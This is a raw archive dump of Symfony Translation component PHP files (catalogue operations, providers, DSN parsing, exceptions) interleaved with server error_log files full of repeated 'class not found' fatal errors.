/home/fluxyjvi/public_html/project/vendor/symfony/translation/Catalogue/TargetOperation.php:26 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Catalogue/TargetOperation.php on line 26 [19-Nov-2025 17:30:22 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Translation\Catalogue\OperationInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Catalogue/AbstractOperation.php:27 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Catalogue/AbstractOperation.php on line 27 [25-Nov-2025 02:31:40 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Catalogue\AbstractOperation" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Catalogue/TargetOperation.php:26 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Catalogue/TargetOperation.php on line 26 [25-Nov-2025 03:02:16 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Translation\Catalogue\OperationInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Catalogue/AbstractOperation.php:27 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Catalogue/AbstractOperation.php on line 27 [25-Nov-2025 03:04:11 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Catalogue\AbstractOperation" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Catalogue/MergeOperation.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Catalogue/MergeOperation.php on line 25 [25-Nov-2025 23:10:12 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Catalogue\AbstractOperation" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Catalogue/MergeOperation.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Catalogue/MergeOperation.php on line 25 [26-Nov-2025 00:39:20 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Translation\Catalogue\OperationInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Catalogue/AbstractOperation.php:27 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Catalogue/AbstractOperation.php on line 27 [26-Nov-2025 03:35:00 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Catalogue\AbstractOperation" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Catalogue/TargetOperation.php:26 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Catalogue/TargetOperation.php on line 26 translation/Catalogue/AbstractOperation.php000064400000013662151113512130015144 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation\Catalogue; use Symfony\Component\Translation\Exception\InvalidArgumentException; use Symfony\Component\Translation\Exception\LogicException; use Symfony\Component\Translation\MessageCatalogue; use Symfony\Component\Translation\MessageCatalogueInterface; /** * Base catalogues binary operation class. * * A catalogue binary operation performs operation on * source (the left argument) and target (the right argument) catalogues. * * @author Jean-François Simon */ abstract class AbstractOperation implements OperationInterface { public const OBSOLETE_BATCH = 'obsolete'; public const NEW_BATCH = 'new'; public const ALL_BATCH = 'all'; protected $source; protected $target; protected $result; /** * @var array|null The domains affected by this operation */ private $domains; /** * This array stores 'all', 'new' and 'obsolete' messages for all valid domains. * * The data structure of this array is as follows: * * [ * 'domain 1' => [ * 'all' => [...], * 'new' => [...], * 'obsolete' => [...] * ], * 'domain 2' => [ * 'all' => [...], * 'new' => [...], * 'obsolete' => [...] * ], * ... * ] * * @var array The array that stores 'all', 'new' and 'obsolete' messages */ protected $messages; /** * @throws LogicException */ public function __construct(MessageCatalogueInterface $source, MessageCatalogueInterface $target) { if ($source->getLocale() !== $target->getLocale()) { throw new LogicException('Operated catalogues must belong to the same locale.'); } $this->source = $source; $this->target = $target; $this->result = new MessageCatalogue($source->getLocale()); $this->messages = []; } public function getDomains(): array { if (null === $this->domains) { $domains = []; foreach ([$this->source, $this->target] as $catalogue) { foreach ($catalogue->getDomains() as $domain) { $domains[$domain] = $domain; if ($catalogue->all($domainIcu = $domain.MessageCatalogueInterface::INTL_DOMAIN_SUFFIX)) { $domains[$domainIcu] = $domainIcu; } } } $this->domains = array_values($domains); } return $this->domains; } public function getMessages(string $domain): array { if (!\in_array($domain, $this->getDomains())) { throw new InvalidArgumentException(sprintf('Invalid domain: "%s".', $domain)); } if (!isset($this->messages[$domain][self::ALL_BATCH])) { $this->processDomain($domain); } return $this->messages[$domain][self::ALL_BATCH]; } public function getNewMessages(string $domain): array { if (!\in_array($domain, $this->getDomains())) { throw new InvalidArgumentException(sprintf('Invalid domain: "%s".', $domain)); } if (!isset($this->messages[$domain][self::NEW_BATCH])) { $this->processDomain($domain); } return $this->messages[$domain][self::NEW_BATCH]; } public function getObsoleteMessages(string $domain): array { if (!\in_array($domain, $this->getDomains())) { throw new InvalidArgumentException(sprintf('Invalid domain: "%s".', $domain)); } if (!isset($this->messages[$domain][self::OBSOLETE_BATCH])) { $this->processDomain($domain); } return $this->messages[$domain][self::OBSOLETE_BATCH]; } public function getResult(): MessageCatalogueInterface { foreach ($this->getDomains() as $domain) { if (!isset($this->messages[$domain])) { $this->processDomain($domain); } } return $this->result; } /** * @param self::*_BATCH $batch */ public function moveMessagesToIntlDomainsIfPossible(string $batch = self::ALL_BATCH): void { // If MessageFormatter class does not exists, intl domains are not supported. if (!class_exists(\MessageFormatter::class)) { return; } foreach ($this->getDomains() as $domain) { $intlDomain = $domain.MessageCatalogueInterface::INTL_DOMAIN_SUFFIX; $messages = match ($batch) { self::OBSOLETE_BATCH => $this->getObsoleteMessages($domain), self::NEW_BATCH => $this->getNewMessages($domain), self::ALL_BATCH => $this->getMessages($domain), default => throw new \InvalidArgumentException(sprintf('$batch argument must be one of ["%s", "%s", "%s"].', self::ALL_BATCH, self::NEW_BATCH, self::OBSOLETE_BATCH)), }; if (!$messages || (!$this->source->all($intlDomain) && $this->source->all($domain))) { continue; } $result = $this->getResult(); $allIntlMessages = $result->all($intlDomain); $currentMessages = array_diff_key($messages, $result->all($domain)); $result->replace($currentMessages, $domain); $result->replace($allIntlMessages + $messages, $intlDomain); } } /** * Performs operation on source and target catalogues for the given domain and * stores the results. * * @param string $domain The domain which the operation will be performed for * * @return void */ abstract protected function processDomain(string $domain); } translation/Provider/TranslationProviderCollectionFactory.php000064400000003261151113512130020755 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation\Provider; use Symfony\Component\Translation\Exception\UnsupportedSchemeException; /** * @author Mathieu Santostefano */ class TranslationProviderCollectionFactory { private iterable $factories; private array $enabledLocales; /** * @param iterable $factories */ public function __construct(iterable $factories, array $enabledLocales) { $this->factories = $factories; $this->enabledLocales = $enabledLocales; } public function fromConfig(array $config): TranslationProviderCollection { $providers = []; foreach ($config as $name => $currentConfig) { $providers[$name] = $this->fromDsnObject( new Dsn($currentConfig['dsn']), !$currentConfig['locales'] ? $this->enabledLocales : $currentConfig['locales'], !$currentConfig['domains'] ? [] : $currentConfig['domains'] ); } return new TranslationProviderCollection($providers); } public function fromDsnObject(Dsn $dsn, array $locales, array $domains = []): ProviderInterface { foreach ($this->factories as $factory) { if ($factory->supports($dsn)) { return new FilteringProvider($factory->create($dsn), $locales, $domains); } } throw new UnsupportedSchemeException($dsn); } } translation/Provider/ProviderFactoryInterface.php000064400000001235151113512130016342 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation\Provider; use Symfony\Component\Translation\Exception\IncompleteDsnException; use Symfony\Component\Translation\Exception\UnsupportedSchemeException; interface ProviderFactoryInterface { /** * @throws UnsupportedSchemeException * @throws IncompleteDsnException */ public function create(Dsn $dsn): ProviderInterface; public function supports(Dsn $dsn): bool; } translation/Provider/NullProviderFactory.php000064400000001513151113512130015353 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation\Provider; use Symfony\Component\Translation\Exception\UnsupportedSchemeException; /** * @author Mathieu Santostefano */ final class NullProviderFactory extends AbstractProviderFactory { public function create(Dsn $dsn): ProviderInterface { if ('null' === $dsn->getScheme()) { return new NullProvider(); } throw new UnsupportedSchemeException($dsn, 'null', $this->getSupportedSchemes()); } protected function getSupportedSchemes(): array { return ['null']; } } translation/Provider/NullProvider.php000064400000001616151113512130014027 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation\Provider; use Symfony\Component\Translation\TranslatorBag; use Symfony\Component\Translation\TranslatorBagInterface; /** * @author Mathieu Santostefano */ class NullProvider implements ProviderInterface { public function __toString(): string { return 'null'; } public function write(TranslatorBagInterface $translatorBag, bool $override = false): void { } public function read(array $domains, array $locales): TranslatorBag { return new TranslatorBag(); } public function delete(TranslatorBagInterface $translatorBag): void { } } translation/Provider/Dsn.php000064400000005614151113512140012131 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation\Provider; use Symfony\Component\Translation\Exception\InvalidArgumentException; use Symfony\Component\Translation\Exception\MissingRequiredOptionException; /** * @author Fabien Potencier * @author Oskar Stark */ final class Dsn { private ?string $scheme; private ?string $host; private ?string $user; private ?string $password; private ?int $port; private ?string $path; private array $options = []; private string $originalDsn; public function __construct(#[\SensitiveParameter] string $dsn) { $this->originalDsn = $dsn; if (false === $parsedDsn = parse_url($dsn)) { throw new InvalidArgumentException('The translation provider DSN is invalid.'); } if (!isset($parsedDsn['scheme'])) { throw new InvalidArgumentException('The translation provider DSN must contain a scheme.'); } $this->scheme = $parsedDsn['scheme']; if (!isset($parsedDsn['host'])) { throw new InvalidArgumentException('The translation provider DSN must contain a host (use "default" by default).'); } $this->host = $parsedDsn['host']; $this->user = '' !== ($parsedDsn['user'] ?? '') ? urldecode($parsedDsn['user']) : null; $this->password = '' !== ($parsedDsn['pass'] ?? '') ? urldecode($parsedDsn['pass']) : null; $this->port = $parsedDsn['port'] ?? null; $this->path = $parsedDsn['path'] ?? null; parse_str($parsedDsn['query'] ?? '', $this->options); } public function getScheme(): string { return $this->scheme; } public function getHost(): string { return $this->host; } public function getUser(): ?string { return $this->user; } public function getPassword(): ?string { return $this->password; } public function getPort(int $default = null): ?int { return $this->port ?? $default; } public function getOption(string $key, mixed $default = null): mixed { return $this->options[$key] ?? $default; } public function getRequiredOption(string $key): mixed { if (!\array_key_exists($key, $this->options) || '' === trim($this->options[$key])) { throw new MissingRequiredOptionException($key); } return $this->options[$key]; } public function getOptions(): array { return $this->options; } public function getPath(): ?string { return $this->path; } public function getOriginalDsn(): string { return $this->originalDsn; } } translation/Provider/error_log000064400000013734151113512140012613 0ustar00[20-Nov-2025 05:31:55 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Provider\AbstractProviderFactory" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Provider/NullProviderFactory.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Provider/NullProviderFactory.php on line 19 [20-Nov-2025 05:33:50 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Translation\Provider\ProviderInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Provider/NullProvider.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Provider/NullProvider.php on line 20 [20-Nov-2025 05:34:32 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Translation\Provider\ProviderFactoryInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Provider/AbstractProviderFactory.php:16 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Provider/AbstractProviderFactory.php on line 16 [20-Nov-2025 05:36:39 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Translation\Provider\ProviderInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Provider/FilteringProvider.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Provider/FilteringProvider.php on line 22 [20-Nov-2025 10:06:25 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Translation\Provider\ProviderInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Provider/NullProvider.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Provider/NullProvider.php on line 20 [20-Nov-2025 10:10:09 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Translation\Provider\ProviderInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Provider/FilteringProvider.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Provider/FilteringProvider.php on line 22 [20-Nov-2025 10:12:56 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Translation\Provider\ProviderFactoryInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Provider/AbstractProviderFactory.php:16 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Provider/AbstractProviderFactory.php on line 16 [20-Nov-2025 10:19:48 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Provider\AbstractProviderFactory" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Provider/NullProviderFactory.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Provider/NullProviderFactory.php on line 19 [25-Nov-2025 03:04:01 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Provider\AbstractProviderFactory" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Provider/NullProviderFactory.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Provider/NullProviderFactory.php on line 19 [25-Nov-2025 03:24:06 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Translation\Provider\ProviderInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Provider/NullProvider.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Provider/NullProvider.php on line 20 [25-Nov-2025 05:25:35 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Translation\Provider\ProviderInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Provider/FilteringProvider.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Provider/FilteringProvider.php on line 22 [25-Nov-2025 05:30:22 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Translation\Provider\ProviderFactoryInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Provider/AbstractProviderFactory.php:16 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Provider/AbstractProviderFactory.php on line 16 [25-Nov-2025 23:06:52 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Provider\AbstractProviderFactory" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Provider/NullProviderFactory.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Provider/NullProviderFactory.php on line 19 [26-Nov-2025 01:21:09 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Translation\Provider\ProviderInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Provider/FilteringProvider.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Provider/FilteringProvider.php on line 22 [26-Nov-2025 01:36:57 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Translation\Provider\ProviderFactoryInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Provider/AbstractProviderFactory.php:16 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Provider/AbstractProviderFactory.php on line 16 [26-Nov-2025 01:38:02 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Translation\Provider\ProviderInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Provider/NullProvider.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Provider/NullProvider.php on line 20 translation/Provider/ProviderInterface.php000064400000001666151113512140015023 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation\Provider; use Symfony\Component\Translation\TranslatorBag; use Symfony\Component\Translation\TranslatorBagInterface; interface ProviderInterface { public function __toString(): string; /** * Translations available in the TranslatorBag only must be created. * Translations available in both the TranslatorBag and on the provider * must be overwritten. * Translations available on the provider only must be kept. */ public function write(TranslatorBagInterface $translatorBag): void; public function read(array $domains, array $locales): TranslatorBag; public function delete(TranslatorBagInterface $translatorBag): void; } translation/Provider/AbstractProviderFactory.php000064400000002037151113512140016207 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation\Provider; use Symfony\Component\Translation\Exception\IncompleteDsnException; abstract class AbstractProviderFactory implements ProviderFactoryInterface { public function supports(Dsn $dsn): bool { return \in_array($dsn->getScheme(), $this->getSupportedSchemes(), true); } /** * @return string[] */ abstract protected function getSupportedSchemes(): array; protected function getUser(Dsn $dsn): string { return $dsn->getUser() ?? throw new IncompleteDsnException('User is not set.', $dsn->getScheme().'://'.$dsn->getHost()); } protected function getPassword(Dsn $dsn): string { return $dsn->getPassword() ?? throw new IncompleteDsnException('Password is not set.', $dsn->getOriginalDsn()); } } translation/Provider/FilteringProvider.php000064400000003232151113512140015035 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation\Provider; use Symfony\Component\Translation\TranslatorBag; use Symfony\Component\Translation\TranslatorBagInterface; /** * Filters domains and locales between the Translator config values and those specific to each provider. * * @author Mathieu Santostefano */ class FilteringProvider implements ProviderInterface { private ProviderInterface $provider; private array $locales; private array $domains; public function __construct(ProviderInterface $provider, array $locales, array $domains = []) { $this->provider = $provider; $this->locales = $locales; $this->domains = $domains; } public function __toString(): string { return (string) $this->provider; } public function write(TranslatorBagInterface $translatorBag): void { $this->provider->write($translatorBag); } public function read(array $domains, array $locales): TranslatorBag { $domains = !$this->domains ? $domains : array_intersect($this->domains, $domains); $locales = array_intersect($this->locales, $locales); return $this->provider->read($domains, $locales); } public function delete(TranslatorBagInterface $translatorBag): void { $this->provider->delete($translatorBag); } public function getDomains(): array { return $this->domains; } } translation/Provider/TranslationProviderCollection.php000064400000002562151113512140017431 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation\Provider; use Symfony\Component\Translation\Exception\InvalidArgumentException; /** * @author Mathieu Santostefano */ final class TranslationProviderCollection { /** * @var array */ private $providers; /** * @param array $providers */ public function __construct(iterable $providers) { $this->providers = \is_array($providers) ? $providers : iterator_to_array($providers); } public function __toString(): string { return '['.implode(',', array_keys($this->providers)).']'; } public function has(string $name): bool { return isset($this->providers[$name]); } public function get(string $name): ProviderInterface { if (!$this->has($name)) { throw new InvalidArgumentException(sprintf('Provider "%s" not found. Available: "%s".', $name, (string) $this)); } return $this->providers[$name]; } public function keys(): array { return array_keys($this->providers); } } translation/LoggingTranslator.php000064400000007034151113512140013251 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation; use Psr\Log\LoggerInterface; use Symfony\Component\Translation\Exception\InvalidArgumentException; use Symfony\Contracts\Translation\LocaleAwareInterface; use Symfony\Contracts\Translation\TranslatorInterface; /** * @author Abdellatif Ait boudad */ class LoggingTranslator implements TranslatorInterface, TranslatorBagInterface, LocaleAwareInterface { private TranslatorInterface $translator; private LoggerInterface $logger; /** * @param TranslatorInterface&TranslatorBagInterface&LocaleAwareInterface $translator The translator must implement TranslatorBagInterface */ public function __construct(TranslatorInterface $translator, LoggerInterface $logger) { if (!$translator instanceof TranslatorBagInterface || !$translator instanceof LocaleAwareInterface) { throw new InvalidArgumentException(sprintf('The Translator "%s" must implement TranslatorInterface, TranslatorBagInterface and LocaleAwareInterface.', get_debug_type($translator))); } $this->translator = $translator; $this->logger = $logger; } public function trans(?string $id, array $parameters = [], string $domain = null, string $locale = null): string { $trans = $this->translator->trans($id = (string) $id, $parameters, $domain, $locale); $this->log($id, $domain, $locale); return $trans; } /** * @return void */ public function setLocale(string $locale) { $prev = $this->translator->getLocale(); $this->translator->setLocale($locale); if ($prev === $locale) { return; } $this->logger->debug(sprintf('The locale of the translator has changed from "%s" to "%s".', $prev, $locale)); } public function getLocale(): string { return $this->translator->getLocale(); } public function getCatalogue(string $locale = null): MessageCatalogueInterface { return $this->translator->getCatalogue($locale); } public function getCatalogues(): array { return $this->translator->getCatalogues(); } /** * Gets the fallback locales. */ public function getFallbackLocales(): array { if ($this->translator instanceof Translator || method_exists($this->translator, 'getFallbackLocales')) { return $this->translator->getFallbackLocales(); } return []; } /** * Passes through all unknown calls onto the translator object. */ public function __call(string $method, array $args) { return $this->translator->{$method}(...$args); } /** * Logs for missing translations. */ private function log(string $id, ?string $domain, ?string $locale): void { $domain ??= 'messages'; $catalogue = $this->translator->getCatalogue($locale); if ($catalogue->defines($id, $domain)) { return; } if ($catalogue->has($id, $domain)) { $this->logger->debug('Translation use fallback catalogue.', ['id' => $id, 'domain' => $domain, 'locale' => $catalogue->getLocale()]); } else { $this->logger->warning('Translation not found.', ['id' => $id, 'domain' => $domain, 'locale' => $catalogue->getLocale()]); } } } translation/Exception/InvalidResourceException.php000064400000000755151113512140016527 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation\Exception; /** * Thrown when a resource cannot be loaded. * * @author Fabien Potencier */ class InvalidResourceException extends \InvalidArgumentException implements ExceptionInterface { } translation/Exception/MissingRequiredOptionException.php000064400000001234151113512140017725 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation\Exception; /** * @author Oskar Stark */ class MissingRequiredOptionException extends IncompleteDsnException { public function __construct(string $option, string $dsn = null, \Throwable $previous = null) { $message = sprintf('The option "%s" is required but missing.', $option); parent::__construct($message, $dsn, $previous); } } translation/Exception/ExceptionInterface.php000064400000000725151113512140015326 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation\Exception; /** * Exception interface for all exceptions thrown by the component. * * @author Fabien Potencier */ interface ExceptionInterface extends \Throwable { } translation/Exception/ProviderException.php000064400000002002151113512140015206 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation\Exception; use Symfony\Contracts\HttpClient\ResponseInterface; /** * @author Fabien Potencier */ class ProviderException extends RuntimeException implements ProviderExceptionInterface { private ResponseInterface $response; private string $debug; public function __construct(string $message, ResponseInterface $response, int $code = 0, \Exception $previous = null) { $this->response = $response; $this->debug = $response->getInfo('debug') ?? ''; parent::__construct($message, $code, $previous); } public function getResponse(): ResponseInterface { return $this->response; } public function getDebug(): string { return $this->debug; } } translation/Exception/LogicException.php000064400000000747151113512140014467 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation\Exception; /** * Base LogicException for Translation component. * * @author Abdellatif Ait boudad */ class LogicException extends \LogicException implements ExceptionInterface { } translation/Exception/ProviderExceptionInterface.php000064400000001057151113512140017040 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation\Exception; /** * @author Fabien Potencier */ interface ProviderExceptionInterface extends ExceptionInterface { /* * Returns debug info coming from the Symfony\Contracts\HttpClient\ResponseInterface */ public function getDebug(): string; } translation/Exception/RuntimeException.php000064400000000761151113512140015051 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation\Exception; /** * Base RuntimeException for the Translation component. * * @author Abdellatif Ait boudad */ class RuntimeException extends \RuntimeException implements ExceptionInterface { } translation/Exception/NotFoundResourceException.php000064400000000754151113512140016674 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation\Exception; /** * Thrown when a resource does not exist. * * @author Fabien Potencier */ class NotFoundResourceException extends \InvalidArgumentException implements ExceptionInterface { } translation/Exception/error_log000064400000036460151113512140012760 0ustar00[19-Nov-2025 06:40:31 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Translation\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Exception/LogicException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Exception/LogicException.php on line 19 [19-Nov-2025 06:40:46 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Exception\IncompleteDsnException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Exception/MissingRequiredOptionException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Exception/MissingRequiredOptionException.php on line 17 [19-Nov-2025 06:44:19 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Translation\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Exception/RuntimeException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Exception/RuntimeException.php on line 19 [19-Nov-2025 06:54:40 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Translation\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Exception/NotFoundResourceException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Exception/NotFoundResourceException.php on line 19 [19-Nov-2025 06:56:41 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Exception\LogicException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Exception/UnsupportedSchemeException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Exception/UnsupportedSchemeException.php on line 17 [19-Nov-2025 06:57:12 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Translation\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Exception/InvalidResourceException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Exception/InvalidResourceException.php on line 19 [19-Nov-2025 06:57:19 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Translation\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Exception/ProviderExceptionInterface.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Exception/ProviderExceptionInterface.php on line 17 [19-Nov-2025 06:59:43 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Exception\InvalidArgumentException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Exception/IncompleteDsnException.php:14 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Exception/IncompleteDsnException.php on line 14 [19-Nov-2025 07:01:40 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Translation\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Exception/InvalidArgumentException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Exception/InvalidArgumentException.php on line 19 [19-Nov-2025 07:11:25 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Exception\RuntimeException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Exception/ProviderException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Exception/ProviderException.php on line 19 [19-Nov-2025 13:26:09 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Exception\IncompleteDsnException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Exception/MissingRequiredOptionException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Exception/MissingRequiredOptionException.php on line 17 [19-Nov-2025 13:32:00 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Translation\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Exception/LogicException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Exception/LogicException.php on line 19 [19-Nov-2025 13:32:56 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Translation\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Exception/RuntimeException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Exception/RuntimeException.php on line 19 [19-Nov-2025 13:39:16 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Translation\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Exception/NotFoundResourceException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Exception/NotFoundResourceException.php on line 19 [19-Nov-2025 13:39:45 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Translation\Exception\ExceptionInterface" not 